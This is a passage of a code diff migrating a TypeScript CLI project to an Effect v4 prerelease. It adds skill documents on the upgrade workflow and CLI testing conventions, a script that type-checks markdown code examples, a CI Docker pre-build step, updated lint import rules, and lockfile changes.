220 +| `Effect.runtime<R>()` + `Runtime.runFork/runPromise` | `Effect.context<R>()` + `Effect.runForkWith`/`runPromiseWith(services)` |
221 +| `LogLevel.Info` etc. (namespace of constants) | plain string-literal union (`'Info'`, note `'Warn'` not `'Warning'`) |
222 +| `it.scoped` (`@effect/vitest`) | removed — `it.effect` already runs `Effect.scoped` |
223 +| `ValidationError`, `HelpDoc`, `CommandDescriptor` (`@effect/cli`) | `CliError`, plain `HelpDoc` data shape, public `Command` fields only — no descriptor introspection |
224 +
225 +For anything not in this table, or any prerelease-to-prerelease drift, verify against
226 +`ts/vendor/effect/migration/*.md` and the actual `ts/vendor/effect/packages/effect/src`
227 +source before writing code — do not extrapolate from this table alone.
.agents/skills/effect-v4/references/upgrade-workflow.md new
+80
@@ -0,0 +1,80 @@
1 +# Bumping the Effect v4 prerelease pin
2 +
3 +Adapted from the pre-migration prep work's stop-conditions, updated for the fact the
4 +cutover is now done: this is a prerelease-to-prerelease upgrade procedure, not a v3→v4 port.
5 +
6 +## 1. Check `minimumReleaseAge`
7 +
8 +`pnpm-workspace.yaml` sets `minimumReleaseAge: 4320` (minutes — 3 days) with an
9 +explicit `minimumReleaseAgeExclude` list. `effect` and its satellite packages are
10 +**not** on that exclude list, so a newly published release must be at least 3 days old
11 +before pnpm will resolve it. Check the target version's npm publish timestamp
12 +(`npm view effect@<version> time.<version>`) against `now - 4320m` before touching any
13 +pin — bumping too early makes `pnpm install` fail to resolve, not silently ignore the
14 +constraint.
15 +
16 +## 2. Bump the exact pins together
17 +
18 +Every one of these must move to the same new exact version in the same change — never
19 +bump one and leave the others behind:
20 +
21 +- `pnpm-workspace.yaml` catalog: `effect`, `@effect/platform-bun`,
22 + `@effect/vitest`.
23 +- `ts/packages/cli-keyring/package.json`: its `effect` dependency is pinned exactly
24 + (not via `catalog:`) — bump it directly, in both `dependencies` and wherever else it
25 + is repeated in that file.
26 +- Any other package pinning `effect` outside the catalog — grep for `"effect":` across
27 + `ts/packages/*/package.json` before assuming the catalog covers everything.
28 +
29 +Keep every pin an exact version string (no `^`, no `@next`, no range) — this matches
30 +the existing convention, not a new rule.
31 +
32 +## 3. Advance the vendored source oracle
33 +
34 +`ts/vendor/effect` is a git submodule pinned at a commit on the canonical
35 +`Effect-TS/effect` repo, currently
36 +`2600f62f4532026928454dcea8d1c48557b3f942` (tagged `effect@4.0.0-rc.112`
37 +at the time of writing — confirm with `git submodule status ts/vendor/effect`). Advance
38 +it to the commit/tag matching the new npm version:
39 +
40 +```bash
41 +cd ts/vendor/effect
42 +git fetch --tags
43 +git checkout <tag-or-commit-matching-the-new-effect-version>
44 +cd -
45 +git add ts/vendor/effect
46 +```
47 +
48 +The submodule SHA and the npm version are two independent facts — record both, and
49 +never treat "the vendored source moved" as license to bump the npm pin, or vice versa.
50 +The vendored source is read-only: never edit it, never import runtime code from it.
51 +
52 +## 4. Install and verify
53 +
54 +```bash
55 +pnpm install
56 +pnpm typecheck
57 +pnpm --filter @composio/cli test
58 +pnpm --filter @composio/cli build
59 +```
60 +
61 +Also run the CLI's Docker-based end-to-end suite (see the repo-local `cli-e2e` skill)
62 +before treating the bump as done — a green typecheck is necessary but not sufficient;
63 +CLI parsing, help rendering, and error output can change between prereleases while types stay
64 +valid. Cross-check any API you touch during the bump against the freshly-advanced
65 +`ts/vendor/effect/packages/effect/src` and the installed `effect` typings, not against
66 +what compiled under the old prerelease.
67 +
68 +## Stop conditions
69 +
70 +Pause instead of reaching for a workaround when:
71 +
72 +- the required behavior only exists on unreleased upstream `main` (no matching
73 + published release yet);
74 +- CLI help, parsing, output, error-rendering, or exit-code contracts change and cannot
75 + be preserved with a like-for-like adaptation (see
76 + [cli-surface.md](cli-surface.md) for what "preserved" means here);
77 +- a package this repo depends on (`@effect/platform-bun`,
78 + `@effect/vitest`) has no matching release published yet for the target `effect` version;
79 +- the CLI's Docker E2E checks regress and the cause traces to the new release rather than
80 + to this repo's own code.
.agents/skills/effect-v4/scripts/check-examples.mjs new
+216
@@ -0,0 +1,216 @@
1 +#!/usr/bin/env node
2 +
3 +import { execFileSync } from 'node:child_process';
4 +import fs from 'node:fs';
5 +import os from 'node:os';
6 +import path from 'node:path';
7 +import { fileURLToPath } from 'node:url';
8 +
9 +const scriptDir = path.dirname(fileURLToPath(import.meta.url));
10 +const skillDir = path.resolve(scriptDir, '..');
11 +const versions = JSON.parse(fs.readFileSync(path.join(skillDir, 'versions.json'), 'utf8'));
12 +const effectPackageNames = ['effect', '@effect/platform-bun', '@effect/vitest'];
13 +const exactVersion = /^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$/;
14 +
15 +for (const [packageName, version] of Object.entries(versions)) {
16 + if (typeof version !== 'string' || !exactVersion.test(version)) {
17 + throw new Error(`${packageName} must use an exact semantic version, received ${version}`);
18 + }
19 +}
20 +
21 +const effectVersion = versions.effect;
22 +if (
23 + !/^4\.0\.0-(?:beta|rc)\.\d+$/.test(effectVersion) ||
24 + effectPackageNames.some(packageName => versions[packageName] !== effectVersion)
25 +) {
26 + throw new Error(`Effect packages must share one exact v4 prerelease, received ${effectVersion}`);
27 +}
28 +
29 +const dependencySpecs = [
30 + `effect@${versions.effect}`,
31 + `@effect/platform-bun@${versions['@effect/platform-bun']}`,
32 + `@effect/vitest@${versions['@effect/vitest']}`,
33 + `@types/node@${versions['@types/node']}`,
34 + `typescript@${versions.typescript}`,
35 + `vitest@${versions.vitest}`,
36 +];
37 +const packageJson = JSON.stringify(
38 + {
39 + name: 'composio-effect-v4-skill-check',
40 + private: true,
41 + type: 'module',
42 + },
43 + null,
44 + 2
45 +);
46 +const pnpmWorkspace = 'allowBuilds:\n msgpackr-extract: false\n';
47 +const tsconfigBase = JSON.stringify(
48 + {
49 + compilerOptions: {
50 + strict: true,
51 + noEmit: true,
52 + target: 'ES2022',
53 + module: 'NodeNext',
54 + moduleResolution: 'NodeNext',
55 + lib: ['ES2023', 'DOM', 'DOM.Iterable'],
56 + types: ['node'],
57 + skipLibCheck: true,
58 + exactOptionalPropertyTypes: true,
59 + noUncheckedIndexedAccess: true,
60 + allowImportingTsExtensions: true,
61 + },
62 + },
63 + null,
64 + 2
65 +);
66 +const bootstrapSpec = JSON.stringify({
67 + dependencySpecs,
68 + packageJson,
69 + pnpmWorkspace,
70 + tsconfigBase,
71 +});
72 +const cacheDigest = await globalThis.crypto.subtle.digest(
73 + 'SHA-256',
74 + new TextEncoder().encode(bootstrapSpec)
75 +);
76 +const cachePart = Array.from(new Uint8Array(cacheDigest), byte =>
77 + byte.toString(16).padStart(2, '0')
78 +).join('');
79 +const scratch = path.join(os.tmpdir(), `composio-effect-v4-skill-${cachePart}`);
80 +
81 +const bootstrap = () => {
82 + const marker = path.join(scratch, '.ready');
83 + if (fs.existsSync(marker)) return;
84 +
85 + fs.rmSync(scratch, { recursive: true, force: true });
86 + fs.mkdirSync(scratch, { recursive: true });
87 + fs.writeFileSync(path.join(scratch, 'package.json'), packageJson);
88 + fs.writeFileSync(path.join(scratch, 'pnpm-workspace.yaml'), pnpmWorkspace);
89 + execFileSync('pnpm', ['add', '--save-exact', ...dependencySpecs], {
90 + cwd: scratch,
91 + stdio: 'inherit',
92 + });
93 + fs.writeFileSync(path.join(scratch, 'tsconfig.base.json'), tsconfigBase);
94 + fs.writeFileSync(marker, `${bootstrapSpec}\n`);
95 +};
96 +
97 +const readBlocks = markdown => {
98 + const lines = markdown.split('\n');
99 + const blocks = [];
100 + let current;
101 +
102 + for (let index = 0; index < lines.length; index += 1) {
103 + const line = lines[index];
104 + const fence = line.match(/^```(\S*)\s*(.*)$/);
105 + if (fence && current === undefined) {
106 + current = { lang: fence[1], info: fence[2] ?? '', startLine: index + 1, code: [] };
107 + } else if (line.startsWith('```') && current !== undefined) {
108 + blocks.push({ ...current, code: current.code.join('\n') });
109 + current = undefined;
110 + } else if (current !== undefined) {
111 + current.code.push(line);
112 + }
113 + }
114 +
115 + return blocks.filter(
116 + block =>
117 + (block.lang === 'ts' || block.lang === 'typescript') && !block.info.includes('no-check')
118 + );
119 +};
120 +
121 +const checkFile = (markdownFile, blocks) => {
122 + const slug = path.basename(markdownFile).replace(/[^A-Za-z0-9_-]/g, '_');
123 + const outDir = path.join(scratch, 'blocks', slug);
124 + fs.rmSync(outDir, { recursive: true, force: true });
125 + fs.mkdirSync(outDir, { recursive: true });
126 +
127 + const sourceMap = new Map();
128 + blocks.forEach((block, index) => {
129 + const filename = `block-${String(index + 1).padStart(3, '0')}.ts`;
130 + sourceMap.set(filename, block);
131 + fs.writeFileSync(path.join(outDir, filename), block.code);
132 + });
133 + fs.writeFileSync(
134 + path.join(outDir, 'tsconfig.json'),
135 + JSON.stringify({ extends: '../../tsconfig.base.json', include: ['*.ts'] }, null, 2)
136 + );
137 +
138 + try {
139 + execFileSync(
140 + path.join(scratch, 'node_modules', '.bin', 'tsc'),
141 + ['-p', path.join(outDir, 'tsconfig.json'), '--pretty', 'false'],
142 + { cwd: scratch, encoding: 'utf8' }
143 + );
144 + console.log(`OK: ${blocks.length} TypeScript block(s) compile in ${markdownFile}`);
145 + return true;
146 + } catch (error) {
147 + const output = `${error.stdout ?? ''}${error.stderr ?? ''}`;
148 + console.error(`FAIL: ${markdownFile}`);
149 + for (const line of output.split('\n').filter(value => value.includes('error TS'))) {
150 + const match = line.match(/blocks\/[^/]+\/(block-\d+\.ts)[(:](\d+)/);
151 + const block = match ? sourceMap.get(match[1]) : undefined;
152 + const markdownLine = block && match ? block.startLine + Number(match[2]) : '?';
153 + console.error(` markdown line ~${markdownLine}: ${line.replace(/^.*error TS/, 'error TS')}`);
154 + }
155 + return false;
156 + }
157 +};
158 +
159 +const args = process.argv.slice(2);
160 +const testingReference = path.resolve(
161 + skillDir,
162 + '..',
163 + 'typescript-testing',
164 + 'references',
165 + 'effect-v4-cli.md'
166 +);
167 +const minimumBlockCounts = new Map([
168 + [path.join(skillDir, 'references', 'cli-surface.md'), 1],
169 + [path.join(skillDir, 'references', 'core-patterns.md'), 1],
170 + [testingReference, 1],
171 +]);
172 +const defaultMarkdownFiles = [
173 + path.join(skillDir, 'SKILL.md'),
174 + ...fs
175 + .readdirSync(path.join(skillDir, 'references'))
176 + .filter(filename => filename.endsWith('.md'))
177 + .sort()
178 + .map(filename => path.join(skillDir, 'references', filename)),
179 + testingReference,
180 +];
181 +const defaultTargets = defaultMarkdownFiles.map(markdownFile => ({
182 + markdownFile,
183 + minimumBlockCount: minimumBlockCounts.get(markdownFile) ?? 0,
184 +}));
185 +const targets =
186 + args.length > 0
187 + ? args.map(value => ({ markdownFile: path.resolve(value), minimumBlockCount: 1 }))
188 + : defaultTargets;
189 +
190 +const preparedTargets = targets.map(({ markdownFile, minimumBlockCount }) => ({
191 + markdownFile,
192 + minimumBlockCount,
193 + blocks: readBlocks(fs.readFileSync(markdownFile, 'utf8')),
194 +}));
195 +const missingBlocks = preparedTargets.filter(
196 + target => target.blocks.length < target.minimumBlockCount
197 +);
198 +for (const target of missingBlocks) {
199 + console.error(`FAIL: ${target.markdownFile}`);
200 + console.error(
201 + ` expected at least ${target.minimumBlockCount} checked TypeScript block(s), found ${target.blocks.length}`
202 + );
203 +}
204 +for (const target of preparedTargets.filter(
205 + value => value.minimumBlockCount === 0 && value.blocks.length === 0
206 +)) {
207 + console.log(`OK: no checked TypeScript blocks in ${target.markdownFile}`);
208 +}
209 +
210 +const checkedTargets = preparedTargets.filter(value => value.blocks.length > 0);
211 +if (checkedTargets.length > 0) bootstrap();
212 +const checkedOk = checkedTargets
213 + .map(target => checkFile(target.markdownFile, target.blocks))
214 + .every(Boolean);
215 +const ok = missingBlocks.length === 0 && checkedOk;
216 +process.exit(ok ? 0 : 1);
\ No newline at end of file
.agents/skills/effect-v4/versions.json new
+8
@@ -0,0 +1,8 @@
1 +{
2 + "effect": "4.0.0-rc.112",
3 + "@effect/platform-bun": "4.0.0-rc.112",
4 + "@effect/vitest": "4.0.0-rc.112",
5 + "@types/node": "26.4.1",
6 + "typescript": "6.0.2",
7 + "vitest": "4.1.11"
8 +}
.agents/skills/typescript-testing/SKILL.md
+5 -1
@@ -1,6 +1,6 @@
1 ---
2 name: typescript-testing
3 -description: Select and run TypeScript SDK verification for packages, examples, type checks, linting, builds, Vitest suites, and runtime E2E tests. Use when adding tests, diagnosing TypeScript CI, choosing a focused test command, or validating TypeScript package changes. Do not use for Python-only checks.
3 +description: Select and run TypeScript SDK verification for packages, examples, type checks, linting, builds, Vitest suites, Effect v4 CLI tests, and runtime E2E tests. Use when adding tests, diagnosing TypeScript CI, choosing a focused test command, validating TypeScript package changes, or writing/porting CLI tests against effect@4.0.0-rc.112 and @effect/vitest. Do not use for Python-only checks.
4 ---
5
6 # TypeScript Testing
@@ -8,3 +8,7 @@ description: Select and run TypeScript SDK verification for packages, examples,
8 Use this skill to choose verification for TypeScript changes.
9
10 Read `references/test-commands.md` before running broad checks or adding new test coverage.
11 +
12 +Read `references/effect-v4-cli.md` before writing or modifying tests under `ts/packages/cli/test/`
13 +— it covers `it.effect`/`layer(...)` conventions, explicit per-service test layers (no `.Default`
14 +auto-generation in v4), and the `@effect/platform-bun` subpath-import rule.
.agents/skills/typescript-testing/references/effect-v4-cli.md new
+124
@@ -0,0 +1,124 @@
1 +# Effect v4 CLI testing
2 +
3 +The CLI test suite (`ts/packages/cli/test/`) runs on `effect@4.0.0-rc.112` and
4 +`@effect/vitest@4.0.0-rc.112` (pinned exactly, matching `ts/packages/cli/package.json` and the
5 +workspace catalog in `pnpm-workspace.yaml`). `@effect/cli` and `@effect/platform` no longer exist
6 +as dependencies — their functionality moved into `effect`/`effect/unstable/*`. Read
7 +`ts/packages/cli/test/__utils__/services/test-layer.ts` before writing a new test suite; it is the
8 +canonical example of every pattern below. For source-side v4 conventions (service definitions,
9 +typed errors, the `effect/unstable/cli` command surface) rather than test-specific ones, use the
10 +repo-local `effect-v4` skill.
11 +
12 +## Runner APIs
13 +
14 +- `it.effect` is the default tester. It runs inside `Effect.scoped` automatically, so a v3-style
15 + `it.scoped` is unnecessary — v4's `@effect/vitest` no longer exports `it.scoped`.
16 +- `it.live` runs against the real (non-`TestClock`) environment; reach for it only when a test must
17 + observe real wall-clock behavior.
18 +- Reusable service layers go through `layer(...)`, not manual `Effect.provide` scattered per test:
19 +
20 +```ts no-check
21 +import { describe, expect, layer } from '@effect/vitest';
22 +import { ConfigProvider, Effect } from 'effect';
23 +import { extendConfigProvider } from 'src/services/config';
24 +import { cli, pkg, TestLive, MockConsole } from 'test/__utils__';
25 +
26 +describe('CLI: composio', () => {
27 + layer(TestLive())(it => {
28 + it.effect("[Given] no arguments [Then] prints composio's version from package.json", () =>
29 + Effect.gen(function* () {
30 + yield* cli(['version']);
31 + const lines = yield* MockConsole.getLines();
32 + expect(lines.join('\n')).toContain(pkg.version);
33 + })
34 + );
35 + });
36 +
37 + const testConfigProvider = ConfigProvider.fromEnv({
38 + env: { DEBUG_OVERRIDE_VERSION: '1.2.3-test' },
39 + }).pipe(extendConfigProvider);
40 +
41 + layer(TestLive({ baseConfigProvider: testConfigProvider }))('with config override', it => {
42 + it.effect('[Given] `DEBUG_OVERRIDE_VERSION` env var [Then] prints overridden version', () =>
43 + Effect.gen(function* () {
44 + yield* cli(['version']);
45 + const lines = yield* MockConsole.getLines();
46 + expect(lines.join('\n')).toContain('1.2.3-test');
47 + })
48 + );
49 + });
50 +});
51 +```
52 +
53 +`TestLive` (exported as `TestLayer` from `test/__utils__/services/test-layer.ts`, re-exported as
54 +`TestLive` from `test/__utils__/index.ts`) takes an optional `TestLiveInput` — `fixture`,
55 +`toolkitsData`, `authConfigsData`, `connectedAccountsData`, `triggersData`, `realtimeData`,
56 +`cliUserConfig`, `stdin`, `toolsExecutor`, `toolRouter`, `commandRunner`, `setupSkillInstaller`,
57 +`terminalUI`, `baseConfigProvider` — and builds the full service graph a CLI invocation needs, with
58 +network calls mocked out. Smaller, module-local suites that only touch one or two services build a
59 +narrower `Layer.mergeAll(...)` inline instead of pulling in the full `TestLive` (see
60 +`test/src/effects/decode-connected-account-list.test.ts`), and unit-level suites that only need a
61 +single service override can pass a bare `Layer.succeed(Service, {...})` straight into
62 +`Effect.provide` (see `test/src/effects/detect-platform.test.ts`).
63 +
64 +## Explicit test layers, not `.Default`
65 +
66 +v4's `Context.Service` classes have no auto-generated `.Default` layer the way v3's
67 +`Effect.Service` classes did. Every service in `src/services/` now exports an explicit static layer
68 +(`NodeOs.Default`, `JsPackageManagerDetector.Default`, `ProjectEnvironmentDetector.Default`,
69 +`ProjectContext.Default`; a smaller set uses `.layer` instead — `UpgradeBinary.layer`,
70 +`TriggersRealtime.layer`) built with `Layer.effect(this, this.make)` or an equivalent
71 +`Layer.succeed`/`Layer.effect` composition. Match whichever static the service under test actually
72 +exports — check the service file itself; do not assume `.Default` universally.
73 +
74 +For mocks, construct the service shape with `Service.of({...})` (not `new Service({...})` — v4
75 +`Context.Service` class constructors are type-metadata-only and no longer double as a runtime shape
76 +constructor) and wrap it with `Layer.succeed(Service, Service.of({...}))`.
77 +
78 +## The `@effect/platform-bun` subpath rule
79 +
80 +Never import the `@effect/platform-bun` package barrel (`import { BunContext } from
81 +'@effect/platform-bun'`) from `src/` or `test/`. The barrel re-exports `BunRedis`, which requires
82 +the native `bun` package at module-load time and crashes the Node-hosted Vitest runner immediately
83 +on import, before any test in the file can run — even if the file never touches Redis. Always
84 +import the specific subpath instead:
85 +
86 +```ts
87 +import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
88 +import * as BunPath from '@effect/platform-bun/BunPath';
89 +import * as BunServices from '@effect/platform-bun/BunServices';
90 +```
91 +
92 +`BunServices.layer` is the v4 replacement for v3's `BunContext.layer` — it bundles
93 +FileSystem/Path/Terminal/Stdio/ChildProcessSpawner/Crypto in one layer. Reach for the narrower
94 +`BunFileSystem.layer` / `BunPath.layer` when a suite only needs filesystem/path, to keep the
95 +provided service set legible. `test-layer.ts` composes exactly this set of subpath imports; treat
96 +any new `@effect/platform-bun` import elsewhere in the CLI package as a rule violation, not a style
97 +choice.
98 +
99 +## Other v4 test-surface renames worth knowing
100 +
101 +- `Either` → `Result`: `Effect.either` → `Effect.result`, `Either.isLeft` → `Result.isFailure`,
102 + `.left`/`.right` → `.failure`/`.success`.
103 +- `ParseResult.ParseError` → `Schema.SchemaError`; assert with `Schema.isSchemaError(error)`.
104 +- `Effect.catchAll` → `Effect.catch`; `Effect.fork` → `Effect.forkChild` (bare fork) /
105 + `Effect.forkDetach` (daemon-style, was `Effect.forkDaemon`).
106 +- `Console.Console` and `ConfigProvider.ConfigProvider` are `Context.Reference`s, not FiberRef- or
107 + Layer-hidden state — provide them with `Layer.succeed`/`Layer.effect` and prefer
108 + `Layer.provideMerge` over `Layer.provide` when the reference's value must stay visible to
109 + everything downstream (see the `ConfigProvider` comment in `test-layer.ts` for the bug this
110 + distinction fixed).
111 +- `TestClock` and `FastCheck` live under `effect/testing`, not the core `effect` barrel.
112 +
113 +## CLI behavior matrix
114 +
115 +Port tests by contract, not file count:
116 +
117 +- root and subcommand help, version, built-ins, aliases, and flag collisions;
118 +- required, optional, repeated, invalid, and dash-leading arguments, including `--`;
119 +- stdout data versus stderr decoration in interactive and piped modes;
120 +- CLI framework errors (`effect/unstable/cli`'s `CliError`) versus Composio domain error
121 + (`Data.TaggedError`) rendering and exit-code mapping;
122 +- shared service layers, config providers, filesystem/process adapters, interruption, time, and
123 + cleanup;
124 +- direct binary smoke tests and Docker CLI E2E after unit and package checks pass.
.agents/skills/typescript-testing/references/test-commands.md
+9
@@ -37,3 +37,12 @@ pnpm --filter @composio/<provider> typecheck
37 - Package tests live under `ts/packages/<package>/test/`.
38 - Runtime E2E tests live under `ts/e2e-tests/runtimes/`.
39 - CLI E2E tests live under `ts/e2e-tests/cli/`.
40 +
41 +## CLI Effect v4 tests
42 +
43 +`ts/packages/cli` tests run on `effect@4.0.0-rc.112` and a matching `@effect/vitest` (both pinned
44 +exactly in `pnpm-workspace.yaml`). Read [effect-v4-cli.md](effect-v4-cli.md) before writing or
45 +porting a CLI test — it covers `it.effect`/`layer(...)` usage, explicit per-service test layers
46 +(v4's `Context.Service` has no auto-generated `.Default` the way v3's `Effect.Service` did), and
47 +the `@effect/platform-bun` subpath-import rule that keeps the Node-hosted Vitest runner from
48 +loading `BunRedis`.
.github/workflows/ts.test-e2e.yml
+18
@@ -220,6 +220,24 @@ jobs:
220 echo "available=true" >> "$GITHUB_OUTPUT"
221 echo "✅ API keys are configured"
222
223 + # Pre-build the Deno image like the Node and CLI jobs do. Without this,
224 + # ensureDenoImage() builds the image inside a bun:test beforeAll hook,
225 + # where the bun shell's quiet mode swallows all build output and a slow
226 + # registry or apt moment turns into an opaque hook timeout instead of a
227 + # visible, retryable step failure.
228 + - name: Pre-build Docker image for e2e tests
229 + if: steps.api-keys.outputs.available == 'true'
230 + run: |
231 + NODE_MAJOR="${{ steps.setup-toolchain.outputs.node-version }}"
232 + docker build -f ts/e2e-tests/_utils/Dockerfile.deno \
233 + --build-arg DENO_VERSION=${{ matrix.deno-version }} \
234 + --build-arg NODE_MAJOR=${NODE_MAJOR%%.*} \
235 + --label composio.e2e=true \
236 + --label composio.runtime=deno \
237 + --label "composio.deno_version=${{ matrix.deno-version }}" \
238 + -t "composio-e2e-deno:${{ matrix.deno-version }}" \
239 + .
240 +
241 - name: Run Deno E2E Tests
242 if: steps.api-keys.outputs.available == 'true'
243 run: pnpm run test:e2e:deno
.oxlintrc.json
+15 -104
@@ -131,19 +131,19 @@
131 { "name": "node:buffer", "message": "Use Uint8Array instead." },
132 {
133 "name": "child_process",
134 - "message": "Use Command from @effect/platform/Command instead."
134 + "message": "Use ChildProcess from effect/unstable/process instead."
135 },
136 {
137 "name": "node:child_process",
138 - "message": "Use Command from @effect/platform/Command instead."
138 + "message": "Use ChildProcess from effect/unstable/process instead."
139 },
140 {
141 "name": "fs",
142 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
142 + "message": "Use FileSystem from effect/FileSystem instead."
143 },
144 {
145 "name": "node:fs",
146 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
146 + "message": "Use FileSystem from effect/FileSystem instead."
147 },
148 {
149 "name": "os",
@@ -153,30 +153,17 @@
153 "name": "node:os",
154 "message": "Use an Effect service instead of importing node:os directly."
155 },
156 - { "name": "path", "message": "Use Path from @effect/platform/Path instead." },
157 - { "name": "node:path", "message": "Use Path from @effect/platform/Path instead." },
158 - {
159 - "name": "@effect/platform",
160 - "message": "Import the module by subpath, e.g. @effect/platform/FileSystem; the package barrel is not part of the Effect v4 layout."
161 - },
156 + { "name": "path", "message": "Use Path from effect/Path instead." },
157 + { "name": "node:path", "message": "Use Path from effect/Path instead." },
158 {
159 "name": "@effect/platform-bun",
160 "message": "Import the module by subpath, e.g. @effect/platform-bun/BunFileSystem; the package barrel is not part of the Effect v4 layout."
165 - },
166 - {
167 - "name": "@effect/cli",
168 - "importNames": ["CommandDescriptor", "Usage"],
169 - "message": "CommandDescriptor/Usage introspection is the @effect/cli v4 seam. Use the helpers in ts/packages/cli/src/commands/command-introspection.ts instead."
161 }
162 ],
163 "patterns": [
164 {
165 "group": ["fs/*", "node:fs/*"],
175 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
176 - },
177 - {
178 - "group": ["@effect/cli/CommandDescriptor", "@effect/cli/Usage"],
179 - "message": "CommandDescriptor/Usage introspection is the @effect/cli v4 seam. Use the helpers in ts/packages/cli/src/commands/command-introspection.ts instead."
166 + "message": "Use FileSystem from effect/FileSystem instead."
167 }
168 ]
169 }
@@ -226,14 +213,6 @@
213 {
214 "selector": "MemberExpression[object.name='process'][property.name='stderr']",
215 "message": "Write errors and read terminal capabilities through TerminalUI."
229 - },
230 - {
231 - "selector": "ImportExpression[source.value=/^@effect\\/cli(?:\\/(?:CommandDescriptor|Usage))?$/]",
232 - "message": "CommandDescriptor/Usage introspection is the @effect/cli v4 seam. Use the helpers in ts/packages/cli/src/commands/command-introspection.ts instead."
233 - },
234 - {
235 - "selector": "CallExpression[callee.name='require'][arguments.0.value=/^@effect\\/cli(?:\\/(?:CommandDescriptor|Usage))?$/]",
236 - "message": "CommandDescriptor/Usage introspection is the @effect/cli v4 seam. Use the helpers in ts/packages/cli/src/commands/command-introspection.ts instead."
216 }
217 ]
218 }
@@ -246,7 +225,7 @@
225 "error",
226 {
227 "selector": "MemberExpression[object.name='Effect'][property.name=/^run/]",
249 - "message": "Run Effects through @effect/vitest (it.effect, it.scoped, it.live) instead of Effect.run* in tests."
228 + "message": "Run Effects through @effect/vitest (it.effect, it.live) instead of Effect.run* in tests."
229 },
230 {
231 "selector": "CallExpression[callee.object.name='Date'][callee.property.name='now']",
@@ -255,62 +234,6 @@
234 ]
235 }
236 },
258 - {
259 - "files": ["ts/packages/cli/src/commands/command-introspection.ts"],
260 - "rules": {
261 - "no-restricted-imports": [
262 - "error",
263 - {
264 - "paths": [
265 - { "name": "crypto", "message": "Use Web Crypto API instead." },
266 - { "name": "node:crypto", "message": "Use Web Crypto API instead." },
267 - { "name": "buffer", "message": "Use Uint8Array instead." },
268 - { "name": "node:buffer", "message": "Use Uint8Array instead." },
269 - {
270 - "name": "child_process",
271 - "message": "Use Command from @effect/platform/Command instead."
272 - },
273 - {
274 - "name": "node:child_process",
275 - "message": "Use Command from @effect/platform/Command instead."
276 - },
277 - {
278 - "name": "fs",
279 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
280 - },
281 - {
282 - "name": "node:fs",
283 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
284 - },
285 - {
286 - "name": "os",
287 - "message": "Use an Effect service instead of importing node:os directly."
288 - },
289 - {
290 - "name": "node:os",
291 - "message": "Use an Effect service instead of importing node:os directly."
292 - },
293 - { "name": "path", "message": "Use Path from @effect/platform/Path instead." },
294 - { "name": "node:path", "message": "Use Path from @effect/platform/Path instead." },
295 - {
296 - "name": "@effect/platform",
297 - "message": "Import the module by subpath, e.g. @effect/platform/FileSystem; the package barrel is not part of the Effect v4 layout."
298 - },
299 - {
300 - "name": "@effect/platform-bun",
301 - "message": "Import the module by subpath, e.g. @effect/platform-bun/BunFileSystem; the package barrel is not part of the Effect v4 layout."
302 - }
303 - ],
304 - "patterns": [
305 - {
306 - "group": ["fs/*", "node:fs/*"],
307 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
308 - }
309 - ]
310 - }
311 - ]
312 - }
313 - },
237 {
238 "files": ["ts/packages/cli/src/services/tool-input-validation.ts"],
239 "rules": {
@@ -324,19 +247,19 @@
247 { "name": "node:buffer", "message": "Use Uint8Array instead." },
248 {
249 "name": "child_process",
327 - "message": "Use Command from @effect/platform/Command instead."
250 + "message": "Use ChildProcess from effect/unstable/process instead."
251 },
252 {
253 "name": "node:child_process",
331 - "message": "Use Command from @effect/platform/Command instead."
254 + "message": "Use ChildProcess from effect/unstable/process instead."
255 },
256 {
257 "name": "fs",
335 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
258 + "message": "Use FileSystem from effect/FileSystem instead."
259 },
260 {
261 "name": "node:fs",
339 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
262 + "message": "Use FileSystem from effect/FileSystem instead."
263 },
264 {
265 "name": "os",
@@ -346,12 +269,8 @@
269 "name": "node:os",
270 "message": "Use an Effect service instead of importing node:os directly."
271 },
349 - { "name": "path", "message": "Use Path from @effect/platform/Path instead." },
350 - { "name": "node:path", "message": "Use Path from @effect/platform/Path instead." },
351 - {
352 - "name": "@effect/platform",
353 - "message": "Import the module by subpath, e.g. @effect/platform/FileSystem; the package barrel is not part of the Effect v4 layout."
354 - },
272 + { "name": "path", "message": "Use Path from effect/Path instead." },
273 + { "name": "node:path", "message": "Use Path from effect/Path instead." },
274 {
275 "name": "@effect/platform-bun",
276 "message": "Import the module by subpath, e.g. @effect/platform-bun/BunFileSystem; the package barrel is not part of the Effect v4 layout."
@@ -361,7 +280,7 @@
280 "patterns": [
281 {
282 "group": ["fs/*", "node:fs/*"],
364 - "message": "Use FileSystem from @effect/platform/FileSystem instead."
283 + "message": "Use FileSystem from effect/FileSystem instead."
284 },
285 { "group": ["zod/*"], "message": "Use Schema from effect for tool input validation." }
286 ]
@@ -413,14 +332,6 @@
332 "selector": "MemberExpression[object.name='process'][property.name='stderr']",
333 "message": "Write errors and read terminal capabilities through TerminalUI."
334 },
416 - {
417 - "selector": "ImportExpression[source.value=/^@effect\\/cli(?:\\/(?:CommandDescriptor|Usage))?$/]",
418 - "message": "CommandDescriptor/Usage introspection is the @effect/cli v4 seam. Use the helpers in ts/packages/cli/src/commands/command-introspection.ts instead."
419 - },
420 - {
421 - "selector": "CallExpression[callee.name='require'][arguments.0.value=/^@effect\\/cli(?:\\/(?:CommandDescriptor|Usage))?$/]",
422 - "message": "CommandDescriptor/Usage introspection is the @effect/cli v4 seam. Use the helpers in ts/packages/cli/src/commands/command-introspection.ts instead."
423 - },
335 {
336 "selector": "ImportExpression[source.value=/^zod(?:\\/|$)/]",
337 "message": "Use Schema from effect for tool input validation."
pnpm-lock.yaml
+38 -405
@@ -30,21 +30,15 @@ catalogs:
30 '@composio/client':
31 specifier: 0.1.0-alpha.76
32 version: 0.1.0-alpha.76
33 - '@effect/cli':
34 - specifier: ^0.77.0
35 - version: 0.77.0
33 '@effect/language-service':
34 specifier: ^0.87.2
35 version: 0.87.2
39 - '@effect/platform':
40 - specifier: ^0.97.1
41 - version: 0.97.1
36 '@effect/platform-bun':
43 - specifier: ^0.91.2
44 - version: 0.91.2
37 + specifier: 4.0.0-rc.112
38 + version: 4.0.0-rc.112
39 '@effect/vitest':
